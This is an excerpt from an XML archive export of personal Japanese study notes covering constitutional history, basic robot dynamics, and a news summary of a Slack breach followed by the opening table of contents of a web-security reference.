&lt;li&gt;労働者の権利意識の高揚&lt;/li&gt;
&lt;li&gt;労働組合の組織化&lt;/li&gt;
&lt;li&gt;社会保障制度の拡充（社会主義への対抗）&lt;/li&gt;
&lt;li&gt;日本国憲法の労働基本権（第28条）に反映&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;現代における評価：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題点：&lt;/strong&gt; 計画経済の非効率性、人権侵害、経済停滞&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;意義：&lt;/strong&gt; 資本主義の修正を促す契機となった&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;8. ワイマール憲法（1919年）&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 20世紀初頭（1919年）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;正式名称：&lt;/strong&gt; ドイツ国憲法（ワイマール憲法）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;制定背景：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;第一次世界大戦の敗戦：&lt;/strong&gt; ドイツ帝国の崩壊&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1919年：&lt;/strong&gt; ワイマールで制定&lt;/li&gt;
&lt;li&gt;近代憲法として画期的な内容を含む&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;特徴：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;世界初の社会権の規定：&lt;/strong&gt; 生存権、労働権、教育権などを明記&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;国民主権の確立：&lt;/strong&gt; 主権が国民にあることを明記&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;比例代表制の導入：&lt;/strong&gt; 議会選挙制度の革新&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;大統領への強大な権限：&lt;/strong&gt; 国家緊急権（第48条）- 緊急事態時に基本的人権を一時的に停止する権限（後のナチス台頭の一因）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;社会権の意義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;第151条：&lt;/strong&gt; 経済生活の秩序は正義の原則に適合するものでなければならない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第163条：&lt;/strong&gt; すべてのドイツ人は適切な労働機会が与えられる権利を有する&lt;/li&gt;
&lt;li&gt;現代憲法のモデルとなった&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;歴史的評価：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;先進性：&lt;/strong&gt; 社会権保障という点で画期的&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;問題点：&lt;/strong&gt; 大統領の権限が強すぎた（国家緊急権・第48条）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ナチスの台頭：&lt;/strong&gt; 1933年にヒトラーが権力を掌握し、実質的に無効化&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;日本国憲法への影響：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;日本国憲法の社会権規定（第25条～第28条）はワイマール憲法を参考にしている&lt;/li&gt;
&lt;li&gt;福祉国家の理念を取り入れている&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;9. 現代国家の成立&lt;/h2&gt;
&lt;h3&gt;9.1 福祉国家観&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 20世紀（特に1929年大恐慌以降）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定義：&lt;/strong&gt; 国家が積極的に経済活動に介入し、社会保障を通じて国民の生活を保障する国家観&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特徴：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;積極的国家：&lt;/strong&gt; 国家が経済や社会に積極的に介入&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;社会保障の充実：&lt;/strong&gt; 失業保険、年金、医療保険、生活保護などの制度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;経済政策の実施：&lt;/strong&gt; 景気調整政策、公共事業による雇用創出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;格差是正：&lt;/strong&gt; 累進課税、社会保険制度による富の再分配&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;成立の背景：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;大恐慌（1929年）：&lt;/strong&gt; 自由放任経済の限界が露呈&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;世界大戦後の混乱：&lt;/strong&gt; 戦災や経済混乱への対応が必要&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;労働運動の高まり：&lt;/strong&gt; 労働者の権利要求の増大&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;代表的な理論：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ケインズ経済学：&lt;/strong&gt; 政府による積極的な財政政策を主張&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ベヴァリッジ報告（1942年、イギリス）：&lt;/strong&gt; 包括的社会保障制度の提案&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;福祉国家の機能：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;所得保障：&lt;/strong&gt; 年金、失業手当、生活保護&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;医療保障：&lt;/strong&gt; 国民皆保険制度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教育保障：&lt;/strong&gt; 義務教育の無償化、教育機会の均等&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;住宅保障：&lt;/strong&gt; 公営住宅、住宅手当&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;意義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;国民の最低限の生活を保障&lt;/li&gt;
&lt;li&gt;社会の安定を維持&lt;/li&gt;
&lt;li&gt;日本国憲法第25条（生存権）に反映&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;課題：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;財政負担の増大&lt;/li&gt;
&lt;li&gt;経済活力の低下への懸念&lt;/li&gt;
&lt;li&gt;高齢化社会への対応&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;まとめ：憲法史における流れの整理（時系列順）&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;絶対王政（16-18世紀）：&lt;/strong&gt; 権力が集中し、国民の権利が侵害される体制&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;イギリス名誉革命（1688-1689年）：&lt;/strong&gt; 権利の章典により議会主権と立憲主義の先駆けを確立&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アメリカ独立革命（1776-1787年）：&lt;/strong&gt; 独立宣言と合衆国憲法により成文憲法と権力分立を確立&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;フランス革命（1789年）：&lt;/strong&gt; 人権宣言により基本的人権の思想が確立&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;近代国家（立憲主義）：&lt;/strong&gt; 憲法により国家権力を制限し、国民の権利を保障&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;夜警国家観（19世紀初頭～20世紀初頭）：&lt;/strong&gt; 国家の役割を最小限に抑える思想&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;産業革命（18世紀後半～19世紀）：&lt;/strong&gt; 資本主義の発展と社会構造の変化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自由主義から独占資本主義へ（19世紀後半～20世紀初頭）：&lt;/strong&gt; 大企業による市場支配と格差の拡大&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;社会主義・共産主義の展開（19世紀後半～20世紀）：&lt;/strong&gt; 資本主義への根本的批判と代替案&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ワイマール憲法（1919年）：&lt;/strong&gt; 社会権を明記した現代憲法の先駆け&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不況恐慌（1929年）：&lt;/strong&gt; 資本主義の構造的矛盾が明らかになる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修正資本主義（1930年代～）：&lt;/strong&gt; ケインズ理論に基づく政府の経済介入&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;現代国家（福祉国家観、20世紀）：&lt;/strong&gt; 国家が積極的に経済や社会に介入&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;日本国憲法への反映：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;立憲主義の原則（前文、第1条）&lt;/li&gt;
&lt;li&gt;基本的人権の保障（第11条～第40条）&lt;/li&gt;
&lt;li&gt;社会権の保障（第25条～第28条）&lt;/li&gt;
&lt;li&gt;福祉国家の理念（第25条）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらの歴史的経緯を経て、日本国憲法は制定され、現代の立憲民主主義国家としての基礎が築かれた。&lt;/p&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1890">
                <text>日本国憲法６</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1891">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="56">
            <name>Date Created</name>
            <description>Date of creation of the resource.</description>
            <elementTextContainer>
              <elementText elementTextId="1892">
                <text>2025-11-07</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1893">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="118" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1889">
              <text>&lt;h1&gt;動力学と運動学&lt;/h1&gt;
&lt;h2&gt;動力学と運動学の違い&lt;/h2&gt;
&lt;h3&gt;動力学（ドウリキガク）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: 位置、速度、加速度、力が出てくる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運動方程式&lt;/strong&gt;: 力の関係式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注意&lt;/strong&gt;: 動くものを対象にした力学（「ドウリョクガク」ではない）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;運動学（ウンドウガク）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: 位置関係のみを扱う&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;説明&lt;/strong&gt;: 任意の部品を動かすと、それに関連した部品が動く&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;別名&lt;/strong&gt;: キネマティック&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;重要&lt;/strong&gt;: 動力学の&lt;strong&gt;運動方程式&lt;/strong&gt;と&lt;strong&gt;運動学&lt;/strong&gt;は異なる概念なので注意（間違いやすい）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;運動方程式: 力の関係&lt;/li&gt;
&lt;li&gt;運動学: 位置関係のみ&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;動力学の基礎&lt;/h2&gt;
&lt;h3&gt;鉄球を落とす例&lt;/h3&gt;
&lt;p&gt;鉄球を落とす場合、その鉄球は徐々に加速する。&lt;/p&gt;
&lt;h4&gt;グラフ表現&lt;/h4&gt;
&lt;pre&gt;速度（v）
｜  /
｜ /
｜/
ーーーーーーーーー時間（t）

位置（x）
｜ /
｜|
｜/
ーーーーーーーーー時間（t）
（t^2に比例する）
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;位置は2乗カーブに比例する&lt;/li&gt;
&lt;li&gt;位置から速度を求めるには微分する&lt;/li&gt;
&lt;li&gt;速度から加速度を求めるには微分する&lt;/li&gt;
&lt;li&gt;加速度から速度を求めるには積分する&lt;/li&gt;
&lt;li&gt;速度から位置を求めるには積分する&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;: この条件では加速度が一定なので、速度は時間に比例して変化する。&lt;/p&gt;

&lt;h2&gt;時間による微分&lt;/h2&gt;
&lt;p&gt;ここでは時間tによる微分を扱う（微小時間の範囲での平均変化率）。&lt;/p&gt;
&lt;p&gt;微分を扱う場合、横軸が微分する変数の値となるのが一般的。この場合はtが横軸に当たるので、このtで微分する。&lt;/p&gt;
&lt;h3&gt;速度（位置の時間微分）&lt;/h3&gt;
&lt;p&gt;時間tによる微分（位置変位xを時間tで微分）&lt;/p&gt;
&lt;pre&gt;v = dx/dt
  = ẋ
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;v: 速度（velocity）&lt;/li&gt;
&lt;li&gt;ẋ: 時間で微分したことを省略記法で表現（ニュートンの記法、xの上に点）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;加速度（速度の時間微分）&lt;/h3&gt;
&lt;pre&gt;a = dv/dt          （速度を時間で微分）
  = d²x/dt²
  = ẍ              （xの上に2つの点、2階微分）
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;: 動力学では時間の微分を、ẋ（1階微分）やẍ（2階微分）で表す（ニュートンの記法）。&lt;/p&gt;
&lt;h3&gt;積分&lt;/h3&gt;
&lt;pre&gt;x = ∫v dt          （tでxを積分）
&lt;/pre&gt;

&lt;h2&gt;微分の表現方法&lt;/h2&gt;
&lt;h3&gt;ニュートンの記法&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;時間微分&lt;/strong&gt;: ẋ（xの上に点）、ẍ（xの上に2つの点）など
&lt;ul&gt;
&lt;li&gt;1階微分: ẋ = dx/dt&lt;/li&gt;
&lt;li&gt;2階微分: ẍ = d²x/dt²&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;アイザック・ニュートン（イギリスの数学者・物理学者）が使用していた&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;動力学では特に時間微分に ẋ, ẍ の記法がよく使われる&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;ライプニッツの記法&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;dy/dx や df(x)/dx など（分数形式）&lt;/li&gt;
&lt;li&gt;ゴットフリート・ライプニッツ（ドイツの数学者）が考案&lt;/li&gt;
&lt;li&gt;Δy/Δx や Δf(x)/Δx などが元（差分商から発展）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;ラグランジュの記法&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;f'(x) や y' など（プライム記号）&lt;/li&gt;
&lt;li&gt;ジョゼフ＝ルイ・ラグランジュ（フランスの数学者）が使用&lt;/li&gt;
&lt;li&gt;関数の導関数を表す際によく使われる&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;運動方程式&lt;/h2&gt;
&lt;h3&gt;例1: 重力による落下&lt;/h3&gt;
&lt;p&gt;t=0の時に鉄球を離す。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;鉄球には重力加速度が一定で常にかかる → gと表す&lt;/li&gt;
&lt;li&gt;鉄球の質量をm[kg]とする
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;質量&lt;/strong&gt;: どこでも一定の値&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重さ&lt;/strong&gt;: 重力によって変化するその時の測定値&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この条件時にかかる力は以下の式で表される：&lt;/p&gt;
&lt;pre&gt;F = mg
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;F: 重力（力）[N]&lt;/li&gt;
&lt;li&gt;m: 質量[kg]&lt;/li&gt;
&lt;li&gt;g: 重力加速度[m/s²]&lt;/li&gt;
&lt;li&gt;mg: 力[N]&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらは運動方程式であり、力の関係式として表される。&lt;/p&gt;
&lt;h3&gt;例2: 加速度による運動&lt;/h3&gt;
&lt;p&gt;加速度a[m/s²]で表される。&lt;/p&gt;
&lt;pre&gt;    ーーーーーーー
    ｜          ｜→引っ張る力F[N]（ニュートン）
    ｜          ｜
ーーーーーーーーーーーーー
質量m[kg]（質量はkgを一般的に使う）
&lt;/pre&gt;
&lt;pre&gt;F = ma              （ただし、加速度が一定）
または
F = mẍ
&lt;/pre&gt;

&lt;h2&gt;単位&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;位置xの単位: [m]&lt;/li&gt;
&lt;li&gt;速度vの単位: [m/s]&lt;/li&gt;
&lt;li&gt;加速度aの単位: [m/s²]&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;並進運動と回転運動&lt;/h2&gt;
&lt;h3&gt;並進運動（平行移動）&lt;/h3&gt;
&lt;pre&gt;□→F
a→
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;位置: x[m]&lt;/li&gt;
&lt;li&gt;速度: v = ẋ[m/s]&lt;/li&gt;
&lt;li&gt;加速度: a = ẍ[m/s²]&lt;/li&gt;
&lt;li&gt;力: F[N]&lt;/li&gt;
&lt;li&gt;質量: m[kg]&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;運動方程式&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;F = ma
F = mẍ
&lt;/pre&gt;
&lt;h3&gt;回転運動&lt;/h3&gt;
&lt;p&gt;円盤を回転させる場合、回転角（回転角度の量）を扱う。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;回転角&lt;/strong&gt;: 任意の角度の変位（どれだけ位置が変化したか）→ Θ[rad]（ラジアン）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;回転運動の物理量&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;角度: Θ[rad]&lt;/li&gt;
&lt;li&gt;角速度: ω = Θ̇[rad/s]&lt;/li&gt;
&lt;li&gt;角加速度: α = Θ̈[rad/s²]&lt;/li&gt;
&lt;li&gt;トルク: τ[N·m]（よくτ（タウ）で表現される）&lt;/li&gt;
&lt;li&gt;慣性モーメント: J[kg·m²]（よくJが使われる）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;慣性モーメントとは？&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: 回しやすさ（まわしにくさ）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例&lt;/strong&gt;: 同じ材料で同じ質量の円盤で、半径が違う場合（r₁ &amp;gt; r₂）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;円盤の慣性モーメントは I = (1/2)mr² で表されるため、半径が小さい（r₂）方が慣性モーメントが小さい&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;性質&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;慣性モーメントが小さいものは素早い動作に向く&lt;/li&gt;
&lt;li&gt;慣性モーメントが大きいものは回転の安定化作用を生み出すのに使われる（フライホイールなど）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注意&lt;/strong&gt;: 慣性モーメントは形状によっても変わるので形状が重要である&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;回転の運動方程式&lt;/h4&gt;
&lt;pre&gt;τ = JΘ̈
&lt;/pre&gt;
&lt;p&gt;この式が回転の運動方程式である。&lt;/p&gt;
&lt;h4&gt;並進運動の運動方程式（再掲）&lt;/h4&gt;
&lt;pre&gt;F = ma
&lt;/pre&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1885">
                <text>ロボット工学７</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1886">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="60">
            <name>Date Issued</name>
            <description>Date of formal issuance (e.g., publication) of the resource.</description>
            <elementTextContainer>
              <elementText elementTextId="1887">
                <text>2025-11-06</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1888">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="117" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1884">
              <text>
&lt;h1&gt;日経新聞のSlackに不正ログイン&lt;/h1&gt;


&lt;h2&gt;事件概要&lt;/h2&gt;
&lt;p&gt;日本経済新聞社は2025年11月4日、業務で利用しているビジネスチャットツール「Slack」に外部から不正ログインがあり、社員や取引先など1万7368人分の氏名、メールアドレス、チャット履歴などの情報が流出した可能性があると発表した。&lt;/p&gt;


&lt;h2&gt;被害の詳細&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;被害者数&lt;/strong&gt;: 1万7368人（社員・取引先など）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;流出した可能性のある情報&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;氏名&lt;/li&gt;
&lt;li&gt;メールアドレス&lt;/li&gt;
&lt;li&gt;チャット履歴&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;発見時期&lt;/strong&gt;: 2025年9月に被害を把握&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;発表時期&lt;/strong&gt;: 2025年11月4日&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;原因&lt;/h2&gt;
&lt;p&gt;社員の個人所有のパソコンがウイルスに感染し、Slackの認証情報が流出したことが原因とされている。&lt;/p&gt;


&lt;h2&gt;対応措置&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;パスワードの変更などの対策を実施（9月）&lt;/li&gt;
&lt;li&gt;個人情報保護委員会に任意で報告&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;現状&lt;/h2&gt;
&lt;p&gt;現時点で、取材先や取材に関する情報の漏洩は確認されていない。&lt;/p&gt;


&lt;h2&gt;再発防止&lt;/h2&gt;
&lt;p&gt;同社は再発防止に努めるとしている。&lt;/p&gt;


&lt;h1&gt;WEBセキュリティ&lt;/h1&gt;


&lt;h2&gt;このドキュメントについて&lt;/h2&gt;
&lt;p&gt;このドキュメントは、Webアプリケーションのセキュリティに関する包括的なリファレンスです。セキュリティ専門家から学習ユーザーまで、幅広い読者を想定しています。&lt;/p&gt;



&lt;h2&gt;目次&lt;/h2&gt;
&lt;h3&gt;基礎編&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="#%E5%9F%BA%E7%A4%8E%E7%9F%A5%E8%AD%98"&gt;基礎知識&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#%E5%AD%A6%E7%BF%92%E3%83%91%E3%82%B9-%E5%88%9D%E5%BF%83%E8%80%85%E5%90%91%E3%81%91"&gt;学習パス（初心者向け）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#%E7%94%A8%E8%AA%9E%E9%9B%86"&gt;用語集&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;主要脆弱性編&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="#%E4%B8%BB%E8%A6%81%E3%81%AA%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%A8%E6%94%BB%E6%92%83%E6%89%8B%E6%B3%95"&gt;主要な脆弱性と攻撃手法&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;SQLインジェクション&lt;/li&gt;
&lt;li&gt;XSS（クロスサイトスクリプティング）&lt;/li&gt;
&lt;li&gt;CSRF（クロスサイトリクエストフォージェリ）&lt;/li&gt;
&lt;li&gt;セッション管理の脆弱性&lt;/li&gt;
&lt;li&gt;その他の主要脆弱性&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;実践編&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="#%E3%82%BB%E3%82%AD%E3%83%A5%E3%82%A2%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%81%AE%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9"&gt;セキュアコーディングのベストプラクティス&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#%E8%84%86%E5%BC%B1%E6%80%A7%E8%A8%BA%E6%96%AD"&gt;脆弱性診断&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;SAST、DAST、IAST、SCA&lt;/li&gt;
&lt;li&gt;手動診断のプロセス&lt;/li&gt;
&lt;li&gt;診断レポートの作成&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;応用編&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="#%E3%81%9D%E3%81%AE%E4%BB%96%E3%81%AE%E9%87%8D%E8%A6%81%E3%81%AA%E8%84%86%E5%BC%B1%E6%80%A7"&gt;その他の重要な脆弱性&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%98%E3%83%83%E3%83%80%E3%83%BC%E3%81%AE%E8%A8%AD%E5%AE%9A"&gt;セキュリティヘッダーの設定&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#%E3%82%B5%E3%83%BC%E3%83%93%E3%82%B9%E6%8B%92%E5%90%A6%E6%94%BB%E6%92%83dosddos"&gt;サービス拒否攻撃（DoS/DDoS）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#websocket%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3"&gt;WebSocketセキュリティ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#graphql%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3"&gt;GraphQLセキュリティ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#api%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3"&gt;APIセキュリティ&lt;/a&gt;&lt;/li&gt;
